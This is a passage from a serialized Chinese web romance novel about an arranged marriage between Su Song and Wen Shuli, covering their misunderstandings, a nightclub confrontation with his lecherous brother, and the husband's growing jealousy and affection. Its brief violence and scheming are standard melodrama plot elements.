他们之间,保持界限又尊重彼此。
013 她想跟他共良宵,他却跟她讲道理?
想到前晚,温戍礼跟之前有不一样的地方,苏颂想,也许他内心其实也是喜欢性感的?
再试试!
温戍礼回到房间的时候,苏颂躺在床上,盖着被子,只露出个脑袋,睁着一双大眼睛,湿漉漉的,又水汪汪的,十分动人地看着他。
苏颂很漂亮,而他更钟爱她这双眼睛,特别是她这样盯着他瞧的时候,好像满世界只有他。男人,都喜欢征服女人,苏颂是难得能挑起他的征服欲的。
其实婚后那会,温戍礼对苏颂也动过心,她温柔漂亮又懂事乖巧,没道理不喜欢,直到那件事的发生。回想起来,那一天,他也是跟今天这样,匆匆地赶回来,想给她惊喜,结果却只有惊吓。
只不过那时候,吓到的人,是他。
事情已经过去两年,但想起来的时候,依然让他难以平静。他不懂,为什么苏颂可以面上跟他亲密无间,背地里却对他无情到残忍。
他看着眼前故意勾引他的女人,内心再也激不起波澜,他只想知道,她又要演什么戏。
苏颂第一次这么主动,想到要发生的事情,她满怀期待地看着温戍礼,看着他走近,看着他掀开被子,看着他躺进被窝……躺下了?!
苏颂的表情变得错愕。
“今晚有些累了。”温戍礼闭着眼睛说。
要是之前,苏颂肯定没胆子去叫醒温戍礼,可是她里面穿得那样,就算只是起身也会丢人,反正左右都会丢脸,不如再争取一下。
于是她回想着闫丽给她鼓劲的话,一边朝着温戍礼靠近。
男追女隔座山,女追男隔层纱。
他不主动,你就主动。
拿下他。
拿下他!
“那个……”苏颂刚侧身,忽然温戍礼就坐起来,被他掀开的被子,也露出她那一角。
苏颂觉得皮肤一凉,下意识抱住自己,曲起的手臂却让曲线更饱满,同时也把带子往前勒,瞬间,后背被勒得生疼,是真疼。料子很差的带子,一点弹性都没有,又细又利,紧紧地勒在皮肤中间,像是要将那块肉切割开来一样。
她的皮肤本来就嫩,这会可能破皮了。
“疼~”
温戍礼还没饱满眼福,就被她这声轻呼唤回理智,随之看到她红起来的背,不由得叹息:“我还什么都没干。”话是如此,但手已经伸过去,帮她解开。
他的手很干热,但却让人安心,不知道什么时候,他已经成为她最放心的人。正当苏颂放松下来,用疼痛的感受去感受他的接触时,男人却问:“哪学的?”
伴随他的话,手也抽了出去,他的眼神不带一丝情欲,满是探究,好像要将她看透一般。
他强大的气场让苏颂清空了脑子,可反应还有些迟钝:“学什么?”
温戍礼却以为她为了那个清吧老板,又在装糊涂,说道:“你是个脸皮薄的人,这种事你确定要我掰开了问?我们结婚三年了,又不是三天,你之前不会这样。”
他就是这样,就算在生气,也能讲道理,古板无趣得像老旧的木板。
014 跟谁学坏的?
苏颂这会是真清醒了,因为欲求不满,所以有点烦躁,一时间没了那些弯弯绕绕的心思,直接告诉他,说:“一个朋友。”
她跟闫丽本来就是朋友。
“只是朋友?”
“当然。”
温戍礼这会才发现,今晚自己攒了一肚子的火,根本发泄不出来。一个男人,可以有情敌,但情敌不能是女的。性别在感情上,就是最好的盾牌,他从没有想过,自己看似循规蹈矩的小妻子,实际上会这样。
他遇到了比商场上更大的难题,他暂时还没有解决的办法,冒进也不是他的风格,最后他出了房间,一整晚没有再进来。
。
“事情就是这样。”隔天一大早,苏颂顶着两个黑眼圈,来跟闫丽倾诉。
闫丽听后也是不可置信:“所以你用了我帮你选的战袍,他还能无动于衷?”
苏颂泄气地点点头,比起失望,她更觉得羞愧,她不愿意相信昨晚那个人是自己,她真是第一次这么豁得出去,结果还失败了。
苏颂满是挫败感,灰心地说:“他真的不喜欢这样吧。其实我在嫁给他之前打听过,听说到的都是他不近女色。
后来也跟他的朋友求证过,他们都说,圈子里,就只有陈曼曼能让温戍礼多看一眼,但也就是陈曼曼跟他说话,他会应一下。”
本来苏颂还觉得温戍礼的严厉古板没劲,但说到因为他的性子拒绝了不少桃花,她又觉得这是他的优点了。
于是说到温戍礼干净的感情史,苏颂恢复了点精神,女人也希望自己是男人的第一个女人,很理想,她跟温戍礼都是彼此的第一个。
于是来劲的苏颂又给闫丽科普:“你刚来不知道,陈曼曼就是南城公认的第一才女,不仅漂亮,性格又娴静端庄,优雅大方,是很多公子哥心里的白月光。”
哪知道闫丽听后,却敏锐的指出:“所以你才收起爱玩的性子,学人家当古典美人,当贤内助?”
闻言,苏颂不否认,语气更轻快起来,说:“我当时有求于人,投其所好很正常啊,不过太静了我也做不来,但贤内助我好像做到了。
你知道吗,我公公已经打算让他进集团了。”温戍礼说过,他为苏氏费心费力,就是为了有机会能进入盛泰,展示自己的能力。
这是两年前,她得知苏氏已经度过困难,特意做了一顿烛光晚餐,邀请他庆贺的时候,他说的。
当时真的给兴奋的她泼了一盆冷水,她瞬间就冷静下来了。虽然苏颂那时失落了一段时间,但很快,她就想通了,他们之间,原本就没有感情,温戍礼会从利益出发很正常。
所以从那之后,苏颂就奔着让他进入盛泰的目的经常去温家。苏颂也从对温戍礼情愫滋生回到合作关系。
闫丽听了却笑不出来,她担忧地看着苏颂,问:“颂颂,你做这些的目的真的只是因为他挽救了苏氏吗?
帮助苏家,是两家一开始就谈好的要求,温戍礼只是做了他该做的。
而他以后的成就怎样,得到温家的什么,跟联姻的你,没有感情的你,会有关系吗?”
015 朽木动心了?真假?!
他们只是因为联姻走到一起,这婚还是苏奶奶逼的,他们还不是利益共同体。换句话说,如果温戍礼无情,那她帮他铺的路越顺,以后被抛弃的速度就越快。
“他……”闫丽的问题敏锐又犀利,苏颂一时间竟回答不出来,只能怔愣看着好友。
闫丽接着说:“退一步来说,就算是你知恩图报,可你已经嫁给他了,用一辈子来回报就够了。
可你为什么还在收起性子,不敢做自己?甚至又跟我打听征服男人的办法,试图改变你自己去讨好他?
还有,你在他家人面前尽孝表现,就只是为了他能进入自家公司,他自己都做不到的事情,你为什么得帮他张罗?”
“我……”苏颂一直觉得他帮她挽救苏氏,那她帮他得到想要的很应该,但被闫丽这么一说,她好像为温戍礼付出得更多。
计较一旦产生,就会争论个结果,可苏颂想不出来,除了报恩,自己还能为了什么。
苏颂安静下来,她看着闫丽,此时像是一个茫然,在向老师索求答案的学生。
“你已经不单单把他当合作对象了。”闫丽给出结论,“你爱上他了。”
她看着苏颂惊愕的表情,很无奈地说:“如果你自己发现了,还做这些,我不担心,我就怕,你爱而不自知,温戍礼又那么冷淡,万一有一天你怎么都得不到他的心,我怕你会受不了。”
。
这边,温戍礼到盛泰汇报新加坡那边项目的进展,他之所以亲自来,一方面是先亮亮相,混个熟脸,另一方面,想给某人施施压。
他在车里坐了一会,就看到温泰火急火燎地出了公司,驱车离开。
“你这个弟弟这么急着要去干什么?”身旁的顾辽舟问。
顾辽舟是来自家公司开会的,两家公司在同一片CBD,就斜对面,顾辽舟开完会出来看到温戍礼,就过来了。
对于他提出的合作,温戍礼一直没个准信,他不免有些着急,但这会,他察觉到身旁的气压有点低,不太确定地问:“你没让人开车,该不会不是因为我在,而是在等着你弟弟出来?”
温戍礼终于有了反应,转头看他,声线低且冷:“怎么?你也想撬我墙角?”
顾辽舟:“……”这该死的危险预警是怎么回事?!
不过他也是见过大世面的,扛住了温戍礼这压迫性的气场,了然道:“原来是这样。温泰胆子真大,连你老婆都敢肖想。”那人是他会所里的常客,顾辽舟自然也知道温泰好色的尿性。
他跷着二郎腿,闲适地打趣:“看来这两天你人在外地,心都在你老婆这里啊!
昨晚你看到你老婆后,急匆匆就走了,怎么,着急了?”
他笑得发邪:“动心了?”
顾辽舟就是想找个话题活络活络气氛,接下来好谈事,并不是真觉得温戍礼会动心。可对方在沉默,有句话怎么说来着,默认也是一种承认。
这下顾辽舟坐不住了。
016 温先生的作死警告
他直起腰来,追问:“真的?”说完又很不可置信地急着否认,“不可能啊,你可是自律自强,不近女色的温家大少啊!”
温戍礼闻言,睨了他一眼,淡淡道:“我只是自律,又不是戒色!”他对外界那些流言很无语。
还真的是!这一承认,也解开了顾辽舟很多疑问,难怪昨晚应该还在国外的人忽然就去找他,一切都说得通了。
顾辽舟说:“那要怎么办?”
“我对我老婆动心还需要怎么办?那些肖想她的才应该想想怎么办!”
温戍礼说得咬牙,顾辽舟却哭笑不得:“我不是说这个啊,我是说,那现在你弟弟把主意打到苏颂身上,你要怎么办。你故意在这里等着,就是要等温泰坐不住,收拾他吧。”现在温泰火烧屁股一样地跑出去,很明显,也是急了。
“你们可是兄弟,你如果真对他出手,你爸肯定对你有意见,进入盛泰的事情可能会有变化。”顾辽舟分析递进,“要不这样,温泰这边,我帮你出气,作为交换,你也要帮我。
哎,实不相瞒吧,我现在真被逼得没办法了,你得帮我。”
。
晚上,闫丽带着苏颂来到对面的会所玩,因为实在看不下去她一直闷闷不乐了。
早知道她就不把事情分析得那么彻底了。
包厢里,闫丽给她开了饮料,听完苏颂倾吐完跟温戍礼这三年相处的点滴,她有疑点,问:“所以,两年前,温戍礼挽救回了苏氏,你满心欢喜地准备了庆功宴,结果他却说不是为了你,他只是想借助苏氏这一战,证明他的能力?”
就算事情过去这么久了,想起来的时候,还是会让苏颂觉得压抑、难过。想开是一回事,但要真的看开却很难,苏颂一直都在意。
苏氏的危机是他们开始的根源,所以苏氏起死回生那瞬间,她真的真的特别高兴,也特别特别感谢温戍礼,她以为他也是喜欢她的,做这么多、这么拼是因为自己,可是呢?他却否定了。
苏颂闷了一大口饮料,苦恼地说:“不止呢,他还让我别自作多情,让我联姻就要有联姻的觉悟,做好温太太的分内事。”
谁想一直戴着面具生活呢?谁又想一直装矜持、装贤惠呢,她也曾对爱情抱有幻想过,也曾想过撕开面具,跟温戍礼真诚相待,好好相爱,可是,他不让啊。
“所以你说我为什么要学着别人的影子,不能做自己。因为这是我的工作。”苏颂苦笑,她现在只把“温太太”当成一份工作,“至于为什么要去温家人面前尽孝帮他,因为这也是我的工作。”
为什么今晚连饮料都是苦的呢?苏颂看着手里的易拉罐,忽然醒悟到,自己这三年活成什么样了。
闫丽却觉得哪里不对劲:“如果真的没把你放心上,那他又为什么得遵守门禁的约定?而且,他那样的男人,身边也不会缺女人……”可他这三年却保持着对婚姻的忠诚。
017 做好温太太的分内事
“他本来就对女人没兴趣。”
“没兴趣,还一直睡你?”闫丽翻白眼。
“他不让我爱他。”苏颂伤心地说。
闫丽还没说完,就看到苏颂拿过她的啤酒,一副破罐子摔碎的样子,“我要喝酒,气死我了,他温戍礼到底有什么了不起的。
不爱我就不爱我,凭什么他不爱我,我还得时时刻刻为了他克制我自己。我就要喝酒,来,丽姐,我们喝。”
闫丽手疾眼快夺过她的酒杯,说:“你上次喝点鸡尾酒都能被发现,喝了这个你等会回去要怎么说?”
闫丽自己就是因为遇人不淑才会导致感情路坎坷,但她不希望自己的好姐妹也这样,于是劝道:“我觉得你们会不会存在误会,找个机会聊一聊,也许就说开了。”
可苏颂心情真的很不好,她现在满肚子委屈,对闫丽的话听不进去。
“说什么?他都不理我,我才不要跟他说。”说着,她拿着酒瓶就要往嘴怼,嘴里还嚷着,“我就要喝。”
“不行。”
就在两人抢着酒杯的时候,包厢的门被推开。
“苏颂!”
苏颂见到来人,手快速地放开,整个人看起来有点紧张又有点害怕,开口:“温……”
。
这边,顾辽舟吹着口哨,心情愉悦地穿过一楼的舞厅,一老相好见了,打趣他:“又骗到了哪个小姑娘了?”
女人是这里的舞娘,都是逢场作戏的角儿,顾辽舟平常跟她们在一起也少些正经。闻言,碎了她一口,道:“小爷我就那么龌龊,只会想着女人?我又不是温泰那种下流胚。”
说着,又朝舞娘打听:“小红,下流胚今晚来了吗?”
因为温泰常来,对这里的人出手又大方,所以这里的工作人员对他都格外关注,小红也留意温泰,点点头,说:“今晚来得有点早。”
闻言,顾辽舟又说:“打听一下下流胚今晚在哪个包厢,小爷我找他。”说完,人也走开了。
小红看到顾辽舟靠近一个男人,放心下来,说了一句:“原来是约了温大少啊!”见老相好见的不是情敌,小红麻溜的转身去办事了。
顾辽舟在温戍礼面前讨好地笑,没办法,谁叫温戍礼给的多。
他说:“我已经让人去打听温泰今晚来参加的是哪个狗友的局了。”
温戍礼能答应帮他,让他真的很高兴。只不过他怎么都想不到,自己在温戍礼面前争取了一个月,都没有让他松口,现在只是要帮苏颂出口气,他就答应了,于是回来后的顾辽舟想了想,打算邀请温戍礼来见证一下温泰被修理的现场。
不能亲自出手,但能亲眼看看,也能提升不少快感。
好友变合作方,顾辽舟非常体贴殷勤,连带着对温泰一连串的嫌弃,道:“你这个弟弟心眼就是多,明明就是自己下半身浪,又怕被你爸知道他流连花丛,连来夜场都是借用别的人的名头。”
所以就算知道温泰是他这里的常客,顾辽舟也没办法一下子找到人。
018 替她教训纠缠不休的“恶狗”
温戍礼抬手看了看表,只说:“十点半前。”
语句简洁,顾辽舟却秒懂,他笑道:“懂,你有十一点门禁。”
他领着温戍礼到二楼最好的位置,这里隐秘,却又不是包厢,是楼上唯一的卡座,能纵观整个楼下,又能看到在二楼进出的人。不待客,只有重要的贵宾才有机会进来。
顾辽舟亲手泡茶,上好的单枞茶,瞬间,茶香四溢。
香气萦绕,引起了温戍礼的注意,他品过不少好茶,也难得对这茶香赞许:“香气清雅,茶色均匀,好茶。”
顾辽舟笑笑:“早春的芝兰香。尝尝,哪有还没喝,就说好的。”
“这种茶色的,差不了。”说着,温戍礼尝了一口,两人便也就着茶的话题聊起来,氛围也算轻松。
忽然,有人从包厢跑出来,有保安开始上楼,二楼开始闹起来。
温戍礼是处事不惊的性子,听见吵闹声,只放下杯子,神态没了刚才的闲适,几分不悦地说:“辽舟,你对你地盘的管理松了。”
King是南城数一数二的大夜场,早年被政策约束后,已经从销魂地变成销金窟,成了一股清流后,反而吸引不少名流富贵好奇。但遇事就这样的处理能力,呜呜泱泱的,真是一点台面都上不了。
顾辽舟却在努力看清那个哭着跑出来的女人,奈何人多,一时被保安挡着,一会被经过看热闹的客人挡住,直到那个女人哭着说:“快进去,要死人了。”
顾辽舟这才站起来:“不好,是小红。”见温戍礼还是一副被吵到很不爽的样子,顾辽舟又说,“我让她帮我找温泰。”这会她这样,可能跟温泰有关。
而包厢里,闫丽也被吓到了,一开始,听见苏颂叫他“温”,她还以为这个男人就是温戍礼,苏颂是被发现才这样害怕的,哪知道那个男人一进门就对苏颂动手动脚,要拉她出去,嘴里还说,他今晚要让温戍礼变王八。
她见状不对,上去帮忙,要拉开那个男人,可男人喝了酒,劲又大,她反而被推开了。
苏颂手里的啤酒瓶甩过去的时候,闫丽正倒在地上,她从没想过,一个会那样柔柔喊她“姐姐”的女孩子,有一天会变得那么凶悍,那么不计后果。
啤酒瓶砸在了温泰的头上,玻璃碴洒了一地,温泰的血也是。
温戍礼进来的时候,看到的就是这样的场面,他的小妻子脸色发白的站在那,手里还握着剩下一半的啤酒瓶,她在看到他之后,显然一颤,但仅仅只是这个反应。
温戍礼拧眉。从后走上前的顾辽舟又嘴碎,经过他的时候,在他耳边说:“真没看出来嫂子的胆子这么大,砸了人,这会站在那,还很镇定。好像也不需要跟你求助呢~”
有时候温戍礼也觉得顾辽舟会走到今天的地步都怪他这张嘴。
苏颂心里其实是害怕的,砸了人害怕,但看到温戍礼更害怕,不知道为什么,她现在更担心回去之后要怎么解释。
019 见她被欺负,情绪失控
因为心绪太乱,以至于她猛然看到温戍礼的时候,反而愣住了。
男人走过来,要取下她手里的啤酒瓶:“先放开。”她拿得紧,温戍礼怕用力反而伤到她。闻言,苏颂手指松开。
温泰躺在地上痛苦呻吟,嘴里却还不老实:“苏颂,我要你不得好死!啊……”
温戍礼就着手里的半个啤酒瓶,顺手扔过去,正好砸在温泰的伤口上,再一次受伤,让他哀嚎起来,睁开眼睛,看清温戍礼那张脸,反而不敢吱声,一脸红的,不知道是流血的原因,还是憋的。
温泰:“大,大哥。”他一副自己心虚怕被发现的样子太明显了。
温戍礼已经抱起苏颂,淡淡道:“不想让家里人知道的话,这件事就这样算了。”
温泰听了,不太服气,毕竟他被砸了,还流了这么多血。可一想到,要是被他爸知道他夜夜笙歌,还肖想自己的大嫂,估计被赶出家门都有可能。于是他只能忍了,点头,还给苏颂找理由:“嫂子也不是故意的。”
“噗~”旁边的嘲笑声发出,让人注意到一旁还站着一个女人。闫丽非常不给温泰留面子地说,“刚才不是还说要让温戍礼变王八?现在自己怎么跟王八一样不敢横了?碰到比你厉害的大哥了吧?”
闫丽就是这样一个人,一向心直口快。她说完,还有些舒了一口气的得意。
顾辽舟挠了挠头皮上前,说:“他就是苏颂的丈夫,还有,温戍礼就是他的大哥,躺着的,叫温泰。”
好家伙,一句话有种把闫丽CPU干烧的架势。向来话多外向的她,这下也有点尴尬了。
“美女,你还不走吗?”这是顾辽舟第一次近距离的看到闫丽,没想到这个不正经清吧的老板,长得倒挺正,就是怎么有点呆。
闫丽长得好看,身材又火辣,围绕在她身边的男人不少,所以瞬间就察觉到了顾辽舟的目光,特别是他看到自己后所露出的那抹惊艳的好色样子。
原来也是那种轻浮贪玩的纨绔子弟,闫丽一下就冷了脸,拿起包包,临走的时候,还踹了躺在地上起不来的温泰一脚。
“敢推我?老娘给你脸了!”那一脚直接就踩在温泰的脸颊上,雪上加霜的温泰又发出一声哀嚎。可闫丽扭着腰就走了,十分潇洒。
顾辽舟见状,先是一愣,而后吹起口哨,盯着消失在门口的背影,说:“原来这么带劲~”
。
车里,气氛沉默又压抑,苏颂被他抱着的时候,几次想开口解释,但看到温戍礼那绷紧的下颚线、阴沉的脸色,让她噤了声。
此时,两人坐下在后座,车子平稳地前行,苏颂缓些了,也酝酿好开口的勇气,结果温戍礼却拿出手机打电话。
“让他把嘴给我闭紧!管不住嘴,我就帮他管住腿。”
温戍礼很少这样说狠话,苏颂只见过一次。而这会儿,车里安静,苏颂又坐得近,依稀能听见手机里传出的哀嚎声,她知道,是温泰的声音。
020 你是想,绿了我吗?
她想,温戍礼是在帮她摆平这件事。
“为什么?”这样想,也就这样问了。
温戍礼垂眸,对上她那双如剪水一般的眼睛,此时她的眼神清澈得,好像只剩下为什么的疑惑。
他挂了电话,脸色平和些,语气如旧的平淡:“什么为什么?”
“为什么帮我教训他?”温家那边的人会生气的。
“你是我太太,你说为什么?”温戍礼单手解开了顶端的衣扣,没什么感情的说,“不用担心家里那边,他不敢说。”他对跟温泰拥有共同的家里人感到嫌恶。
“你都没问我原因。”苏颂觉得自己都没喝酒,怎么有种醉了的感觉,不醉,又为什么会出现温戍礼把她看得很重的错觉,甚至好像他会出现,也是因为自己。所以她打破沙锅问到底。
“就算是你的错,你也是我妻子,我的人轮不到他来教训。”因为不能亲手揍人,所以温戍礼心情很不好,说出来的话也带着些戾气。
苏颂激动、起伏的心因为他这句话,全淡了。原来不是因为她多特别,说白了,她就是他跟继母弟弟们争斗产生的衍生物罢了,可她刚才,竟然有奢望,他是不是爱上她了。
她平静下来,她早就知道,他的偏占从不是偏爱,现在他这样生气,也只因为,她是他的妻子。
就算是被逼着娶的妻子,但身上带着他的标签,为了面子,他也容不得弟弟欺负的妻子而已。
苏颂又想到,两年前那个夜晚,她费了心思打扮房子,做了西餐,点了烛光,一方面是感谢他挽救了苏氏,另一方面,她想趁机告白。可他却说“你只要摆正位置就够了。别让我丢脸,苏颂”。
妻子不及面子。
一直到回了家,温戍礼也不知道苏颂的情绪为什么转变,明明是她闯了祸,可她后面都在给他摆脸色。
这会见她脱了鞋,直接就往卧室走,温戍礼叫住她:“苏颂。”
苏颂回头看他一眼,没什么劲地问:“有事?”
“你还没告诉我原因。”温戍礼本来想问她为什么不高兴,可见她没什么精神的样子,又不想跟她争论这种没营养的话题。
这三年,他也跟苏颂有摩擦过,都是一些在他看来不值一提的小事,比如她说想养猫,他说吵,她就不养,但也不帮他收拾出差的行李;比如她说想吃臭豆腐,他质疑为什么好好的人会想吃跟排泄物同个味道的东西,她不吃了,但也不做饭了。久而久之,温戍礼就琢磨出来一个道理——小事情,别争论。
于是,他就着她刚才停下的问题继续问了,他想,这是她问他的最后一个问题,也许问题就出在这里。
“原因就是,他想绿了你。”苏颂这会没兴致扮演贤妻,所以话说得很直白,还有点冲。
凭什么只能他有情绪,她就不能有。苏颂现在纯纯想发泄。
“那你呢?”
“你想绿了我吗?”
从未出夜的小妻子最近频频出夜,甚至今晚还去了国王会所那种消遣地方,还是跟那个不正经清吧的不正经女人。
021 坐不住,温大少忍不了一个女人的醋
从在包厢里看到她们两人在一起的时候,温戍礼就没法忍了,他一路都在隐忍,现在,他要问出个究竟。她到底是不是出轨了!
“家里人说你今天没去,所以,你这一天都去了哪里?干了什么?”是不是一天都跟那个女人在一起?
苏颂露出难以置信的表情:“你监视我?”
对方没说话,他一直都是这副淡淡的表情,好像她所有情绪都不能左右到他,可他的话却总是轻易影响到她。
苏颂讨厌极了这种感觉,她的丈夫像是一个冷血动物,现在还是一个监视狂。被踩到底线,让她瞬间失控。
她越想越气,终究压不住火气,咆哮道:“温戍礼,你不羞辱我会死啊!”
“什么叫我想绿你吗?你的意思,温泰骚扰我,还是我勾引他的?”
“不……”不是温泰,他说的是那女人。可现在的苏颂已经彻底失控,她只想把心里的委屈发泄出来,根本不想听他说话。
“你不喜欢我就不喜欢我,我也不稀罕你的喜欢,但我也有人格,也有尊严,更应该有自由,就算是你,也不能随便羞辱我,更不能监视我!”
“砰!”苏颂说完,回了房间,还摔了门。
留在客厅的温戍礼却有些不可置信:“她刚才,在生气?”
。
会所里,到底是温家二少爷,顾辽舟也没真把人怎么着,就是让人拿针,把温泰的十根手指头都戳了一遍。
十指连心,温泰疼得脸都扭曲了,加上头顶半干的血迹,简直面目狰狞,可嘴还很硬:“顾辽舟,你个变态,不得好死!”
顾辽舟不比这两兄弟,几乎是从小被骂着长大的,他生长在顾家最不好的时代,所以这点骂不痛不痒,至于他折磨人的手段上不上得了台面,他更不在意。
毕竟,他更在意的是,拿人钱财替人消灾。
坐在沙发上的顾辽舟笑得带痞:“我好不好死还不好说,但你要是再管不住你下半身,就肯定会死。
你应该庆幸,你只是拿你的脏手碰了碰她,要不然,我还真不好这么轻易放过你。”
顾辽舟抬手示意手下把人拖出去,在温泰又要哀嚎的时候,顾辽舟又说:“你哥说了,你要是管不住你的嘴,他会帮你管住腿。”
“说不定,包括你的第三条腿哦~”他故意拖着尾音补充,样子坏透了。不过成功让温泰闭上嘴,安安静静地被人当死狗一样拖出去。
“出息。”顾辽舟说,“把地方清理干净。”
顾辽舟刚出包厢的门,就遇到温戍礼,有点没反应过来,问道:“你怎么又回来了?”
温戍礼经过他,看都不带看他一眼,语气不善:“怎么?不打算做生意了?”
莫名地,顾辽舟后背有了寒意。
半个小时后,在新开的包厢里,看着已经干了半瓶酒的温戍礼,顾辽舟琢总算磨出个大概来。
“跟嫂子吵架了?”
温戍礼又喝了一杯,不语。
“因为温泰的事?”
温戍礼倒酒,依然沉默。
“那不然,就是因为那个清吧老板-”
这下,顾辽舟语音还没落下,温戍礼就有了反应。他自嘲一笑,道:“她说我羞辱她,到底是谁在羞辱谁?我有什么满足不了她?
她偏偏……找的还是一个女人。”
他怎么都想不通,自己一个实实在在的男人,还是个高富帅,竟然会输给一个女人。
顾辽舟摸着下巴,一副智者思考的模样,最后高深莫测地说:“会不会是嫂子觉得找女人安全,不会惹人怀疑?”
“不是你最早发现的?”温戍礼一副不会惹人怀疑,你又是怎么发现的质疑眼神。
对上温戍礼那阴沉沉的目光,顾辽舟又感到一阵凉飕飕。
“可能是我见过的女人多,凭直觉发现的?”
怎么老是不信任他?顾辽舟心里哀嚎,他真后悔当时为什么要逞一时之快给温戍礼发消息,现在搞得始作俑者是他一样,又不是他让苏颂去偷人的。
哎,但合作还没落锤,他不能犟啊!
于是顾辽舟开始想办法,他想到温泰这件事,打算故技重施。试探性地问:“那个闫丽,我来处理?”
温戍礼总算移开那能杀人的目光了,不过没等顾辽舟彻底放心,又说出更惊涛骇浪的话来:“你去勾引她。”
“我?”
“你不是见过的女人多吗?那搞定她应该很容易,我不想她再跟苏颂往来密切。”温戍礼在包厢看到苏颂跟闫丽在一起的时候,这种想法最强烈,他当时甚至都想直接让那个女人消失在南城。
不过,一个女人而已,高傲的他不屑做出不绅士的行为。他转过头对顾辽舟接着说:“如果你能让她不再纠缠苏颂,你堂哥手下还有两间没过户的商铺,我已经让人接手,到时候转到你名下去。”
温戍礼不愧是商界才子,知道用什么最能诱惑到对方。顾辽舟现在最想到的就是这条街的商铺。
“我明天要出差,给你一天的时间考虑。”
温戍礼背靠椅背,语气淡淡,言语间充满上位者姿态,可上位者也有上位者的烦恼。
“看来是真动心。”既然温戍礼都想好了,给的回礼也非常丰厚,顾辽舟也没理由拒绝,只是他笑得浑不吝的,说,“不过,动心,跟动过心差别很大。”
“吵架了,第一时间竟然不是去哄,而是在背后算计,甚至还要出差一走了之,看来嫂子也没能让你真动心。”
他就说,像温戍礼这样沉稳自律,不受女色诱惑的男人哪有那么容易被征服。他为自己的“聪明”沾沾自喜着,却没发现身旁人,那隐晦艰涩的目光。
。
半夜,温家灯火通明,家里人影走动,很热闹。
客厅里,林美丽哭得一脸眼泪,第一次这么没形象,她身边,是被打得面目全非的温泰,不知道谁把人丢在门口的,被帮佣发现才抬进来,人都是昏迷的。
林美丽虽然在哭,语气却很绝对:“是戍礼干的,肯定是他。今天才去集团露脸,他就敢对阿泰下手了!他就这么迫不及待了,以为盛泰是他的了吗!”
温航之看到次子被打成这样,也很心痛,到底没反驳林美丽的阴谋论,不过银丝眼镜后的眼,却另有所思。
022 一见惊艳,二见终身
一夜的争斗较量并没有惊扰到苏颂,她睡到自然醒,醒来后,看着床边空荡荡的位置,开始复盘昨晚的事情。
昨晚温戍礼看到她砸温泰的场面了,也没怪她,甚至还帮她解决事情的手尾,所以,苏颂觉得,他昨晚会问她绿不绿的事情,应该不是怀疑她,顶多,是要试探她对他们这桩婚姻的忠诚度。
一个没有感情,只知道工作的工作狂,对婚姻没有安全感,苏颂觉得可以理解,毕竟机器人哪懂感情。
至于监视,温家那是他家,再怎么跟家里人不亲,也是他的家,她来往温家的事情有人跟他汇报也正常。
一番思来想去后,苏颂倒是自己想通了,想通之后就是懊恼。
昨晚她不应该被应激后就口不择言的。现在好了,还得想想怎么把他哄好,毕竟他要进入盛泰了,苏氏还要靠他多给资源,要抱大腿啊!
苏颂是个行动跟思想一致的人,想通了,行动也快,拿起手机,直接给温戍礼打电话,她怕发信息他又不回。随着手机里传出的嘟嘟声,她屏气凝神地等待。
这边,温戍礼正坐在车上,这次出差地点是云城,两个城市相邻,驱车前往就行。
昨晚没睡好,又喝了酒,导致他这会有些头疼,看到来电显示的时候,并没有第一时间接听。
在手机铃声锲而不舍的重复响起后,他才拿起手机,接听:“是我。”
苏颂说:“昨晚我受刺激了,情绪失控,说的话,你别在意。”
说得让他一夜失眠,现在倒变成轻飘飘一句话了。温戍礼心里腹诽,嘴上却应着:“嗯。”
他的手指敲着扶手,目光随意地看着车窗外飞过的景物,整个人似乎也被带得轻快一些,没有刚才那么沉闷了。
他问:“苏颂,我爸说的打算,你觉得怎么样?”
苏颂以为说完了,都打算挂电话了。听到他这个问话,顿了一下想起来,答:“很好啊,我觉得爸这次的决定太正确了。”
“真的吗?”
“真的。”
“你同意吗?”
“为什么不同意?”
“你不反对就好。”
苏颂看着被挂断的电话,原本很明确的事情,倒是被搞得有些一头雾水。
她公公不就打算让他进盛泰了吗,她为什么要不同意?为什么得反对?她巴不得他马上入职,最好,节节高升,一步做到CEO,然后有好的单子都砸给苏氏。有盛泰作为靠背,苏氏就永远不会倒了。
而她身为苏氏的老板,自然赚大了。就在她白日梦做得十分美好的时候,手机“叮咚”一声响。
短信接着进来,依然简短扼要。
【出差,晚上回来。】
云城是不远,但一百公里的路程,还要谈事,当天往返确实有点赶。但温戍礼毫不犹豫就做了这个决定。
“礼物给我。”温戍礼说。
坐在副驾驶上的助理本来还想劝说晚上赶回来太急了,结果还没说话,就听见上司的指令。
助理拿出那份去新加坡出差挑选的礼物,明明是上司吩咐挑选的,但不知道为什么,隔天他发现礼物被丢在副驾驶座位上。
助理递上盒子,心里明了,上司是跟太太闹矛盾了,不过现在上司又被哄好了。没想到婚后恋比小年轻谈恋爱还起起伏伏,而且他这冷硬上司也太好哄了吧。
助理有瓜吃,一精神,倒也不劝了,大不了今晚又连夜加班。
温戍礼打开盒子,里面是一条蓝水晶项链。
昂贵的宝石,他知道很多,第一次知道她喜欢蓝水晶的时候,他还在网上补了知识。看到最后,他觉得,还真的只有蓝水晶配得上她——美好但不高傲。
顾辽舟说苏颂没让他真动心,还真的说错了,就是苏颂让他真动心,他才会连一个女人都在意。
他想到第一次见到苏颂。那天,她奶奶带着她上温家的时候,他刚好在家。
他又因为继母的挑拨,跟他爸发生争吵,在玻璃房调整心情的时候,看到她的。
一个带着青春朝气又纯净漂亮的女孩子,站在花团锦簇的庭院里,都毫不逊色。
人比花娇的具象化,带给了他视觉上的冲击,让他至今想起来,依然感到震撼。
说一见钟情太肤浅,但他承认,见到苏颂第一眼,她确实让他惊艳。只是从小到大围在他身边的女孩子太多了,美女也数不胜数,他当时并没有觉得两人会有什么交集,听到路过的帮佣说温泰要回家,他索性就走了。
后来,他爸跟他说的时候,他还很生气,他觉得连正经面都没打照过,就谈婚论嫁,那也太过儿戏了。他跟他爸大吵了一架,气头上,还说不会进盛泰,让温航之别再管他的事。
就因为这个事,后面就算结婚了,他爸也一直拿盛泰这件事拿捏着他,而苏颂还傻乎乎的,真以为是他爸不让他进盛泰。
她明明为了他,在两年的时间里,雷打不动地在八点前去给他爸敬茶,这份心连他爸都打动了,可温戍礼却看不透她的想法。
他摩挲着手里的项链,她真的心里有他吗?
他望着外面不知道何时飘下的雨,不想娶的女人,现在却成了他想回家的牵绳。
这三年,他真的很忙,可是很多时候,他就是想回去,看看她。不知名何,许是心安。他接受了这段婚姻,也早就接受了她。
如果她真的认同他爸说的,能要个孩子的话,温戍礼想,那么所有事,他都能既往不咎,所有,包括两年前那件事!
。
